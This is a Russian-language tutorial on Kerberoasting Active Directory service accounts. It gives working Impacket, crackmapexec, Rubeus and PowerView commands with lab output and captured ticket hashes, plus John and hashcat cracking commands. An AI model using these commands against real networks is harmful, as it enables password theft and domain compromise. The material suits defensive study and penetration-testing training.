Атаки на Active Directory - 2 часть
Kerberoasting
Kerberoasting - атака, используемая для получения хешей паролей от учетных записей пользователей Active Directiry со значениями SPN.
В среде AD существуют так называемые Service Principal Names (SPN) - уникальные идентификаторы, связанные с учетными записями, которые запускают службы или приложения. Эти учетные записи обычно имеют минимально требуемые привилегии для выполнения своих задач.
Когда клиент хочет получить доступ к службе на сервере, он использует SPN, чтобы найти соответствующую учетную запись службы. Затем клиент аутентифицируется в службе с её учетными данными, которые сохраняются в AD в качестве хэша пароля.
В случае атаки Kerberoasting, значение SPN используется для запроса билета службы (TGS) в системе Kerberos. Билеты TGS (Ticket Granting Service) зашифрованы с использованием RC4, ключом, которым является хэш пароля от учетной записи службы. Это означает, что если злоумышленник перехватит или получит билеты TGS по сети, он может восстановить хэш и использовать его для перебора фактического пароля.
Для ясности, Kerberoast и Pass-the-Ticket - это два разных метода, используемых для кражи или подделки учетных данных в системах на базе Kerberos. Напомним, что с помощью Pass-the-Ticket злоумышленник из сеанса пользователя получает билет, предоставляющий право доступа, а затем использует его, чтобы выдать себя за пользователя и получить доступ.
Рассмотрим основные инструменты и техники проведения таких атак.
Обычно, для Kerberoasting’a используется не одни инструмент, а сразу несколько. Мы рассмотрим две техники, на основе двух разных инструментов и параллельно покажем, где вам могут пригодится другие, вспомогательные.
Impacket
Impacket - это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на обеспечение низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) - на саму реализацию протокола. Библиотека предоставляет набор инструментов в качестве примеров того, что можно сделать в контексте этой библиотеки.
Impacket-scripts, с другой стороны, представляет собой набор скриптов, созданных с помощью Impacket. Эти скрипты обеспечивают более высокий уровень функциональности, который можно использовать для различных задач, таких как взлом паролей, снифинга сети и подобного. Набор инструментов, предоставляемый Impacket-scripts, обширен и включает в себя сценарии для SMB-атак, перечисления LDAP, а самое главное для нас - атак Kerberos, среди прочего.
Первым шагом в реализации атаки является перечисление (или идентификация) servicePrincipalNames и запрос тикета службы (TGS).
Для этого используется скрипт Impacket GetUserSPNs который может выполнить все необходимые действия для запроса билета для службы, используя ее SPN и действительные учетные данные домена.
В представленном примере скрипт GetUserSPNs.py в параметре -outputfile принимает название выходного файла "kerberoastables.txt", в котором будут сохранены полученные хэши паролей.
Параметр -dc-ip используется для указания IP-адреса контроллера домена.
Он также принимает аргумент "DOMAIN/USER:Password" или "DOMAIN/USER", чтобы предоставить домен, имя пользователя и пароль или NT-хэш пользователя домена.
# with a password GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password' # with an NT hash GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'
Стоит упомянуть ещё один инструмент - crackmapexec.
crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
Похитив хэши паролей в файл kerberoastables.txt, злоумышленник может выполнить атаку типа brute force, чтобы получить пароль в виде открытого текста, используя различные инструменты, такие как John the Ripper и Hashcat.
Приведем пример использования John the Ripper:
john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
Приведенная выше команда использует флаг --format=krb5tgs, чтобы указать, что хэши в файле "kerberoastables.txt" находятся в формате Kerberos 5 TGS и флаг --wordlist для указания местоположения файла списка паролей, который будет использоваться в процессе перебора.
И наконец, когда пароль взломан, злоумышленник может использовать учетные данные службы для доступа к сетевым ресурсам и достижения своих целей, что может включать в себя перемещение по сети или повышение своих привилегий.
Rubeus
Rubeus - это набор инструментов на C# для прямого взаимодействия с Kerberos и атак на него. Он может эффективно работать как с удаленного компьютера (хоста), так и в пределах доменной сети (клиентский доменный хост).
С помощью Rubeus также можно выполнить Kerberoasting.
Первым шагом может быть сбор статистики:
PS C:\htb> .\Rubeus.exe kerberoast /stats ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.2 [*] Action: Kerberoasting [*] Listing statistics about target users, no ticket requests being performed. [*] Target Domain : INLANEFREIGHT.LOCAL [*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 9 ------------------------------------------------------------ | Supported Encryption Type | Count | ------------------------------------------------------------ | RC4_HMAC_DEFAULT | 7 | | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2 | ------------------------------------------------------------ ---------------------------------- | Password Last Set Year | Count | ---------------------------------- | 2022 | 9 | ----------------------------------
Данная функция очень полезна злоумышленникам. Она помогает выяснить количество Kerberoastable пользователей и поддерживаемые ими типы шифрования для запросов билетов.
Непосредственно сам запрос билетов, как в примере ниже, может проводится с использованием ldap-фильтров.
PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.2 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target Domain : INLANEFREIGHT.LOCAL [*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))' [*] Total kerberoastable users : 3 [*] SamAccountName : backupagent [*] DistinguishedName : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL [*] ServicePrincipalName : backupjob/veam001.inlanefreight.local [*] PwdLastSet : 2/15/2022 2:15:40 PM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/[email protected]*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57286F1B1E86CD16CB3266827E2BE2A151EC5845DCC59DA1A39C1BA3784BA8502A <SNIP>
Если указан аргумент /ldapfilter:X, предоставленный фильтр LDAP будет добавлен к окончательному запросу LDAP, используемому для поиска пользователей Kerberoastable.
LDAP-фильтры — это универсальный инструмент для поиска объектов в Active Directory
Таким образом, злоумышленник может искать по конкретному SPN, указав в фильтре servicePrincipalName=<name>.
Обратите внимание, что SPN состоят из двух частей:
Класс службы - это имя службы, например "HTTP" или "ldap", а имя хоста - это имя хоста DNS или IP-адрес компьютера, на котором запущена служба. Например, SPN для веб-сервера может быть "HTTP/webserver1.example.com", где "HTTP" - это класс сервиса, а "webserver1.example.com" - имя хоста.
Похитив хэши паролей следующий шаг, как и в разборе метода с Impacket, будет brute-force атака.
В этот раз рассмотрим пример с утилитой hashcat:
PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\passwordhashes.txt .\wordlist.txt
- -m 13100: Этот флаг используется для указания типа хэша, в данном случае Kerberos 5 TGS
- -o cracked.txt: Этот флаг используется для указания выходного файла, в котором будут сохранены взломанные пароли
- -a 0: Этот флаг используется для указания режима атаки, в данном случае 0 означает "прямой" режим атаки.
Команда также указывает пути к файлам passwordhashes.txt и wordlist.txt. Как только команда будет выполнена, Hashcat попытается найти соответствие между хэшами паролей в файле passwordhashes.txt и паролями в файле wordlist.txt.
И наконец, последний шаг также не отличается от предыдущей техники. Например, имея данные учетной записи, злоумышленник может использовать инструмент runas с параметром /netonly для запуска PowerShell от имени пользователя "ServiceAccount1":
runas /user:ServiceAccount1 notepad.exe
PowerView
PowerSploit - это набор модулей Microsoft PowerShell, которые могут использоваться для оказания помощи тестировщикам на проникновение на всех этапах оценки.
PowerView - часть PowerSploit и представляет из себя набор функций, которые выполняют перечисление сетей и доменов Windows и их эксплуатацию.
Напоследок мы быстро разберем, как с помощью PowerView может быть проведена простая атака Kerberoasting.
Для начала, злоумышленнику также требуется перечислить все SPN-аккаунты:
PS C:\htb> Import-Module .\PowerView.ps1 PS C:\htb> Get-DomainUser * -spn | select samaccountname samaccountname -------------- adfs backupagent krbtgt sqldev sqlprod sqlqa solarwindsmonitor
После чего можно запросить билет для определённого пользователя, путем получения его с помощью Get-DomainUser и передав выходные данные в Get-DomainSPNTicket.
Значение samaccountname указывается в -Identity
Также, команде Get-DomainSPNTicket, можно указать -Format, в котором будет hash, например Hashcat
PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat SamAccountName : sqldev DistinguishedName : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 TicketByteHexStream : Hash : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177 <SNIP>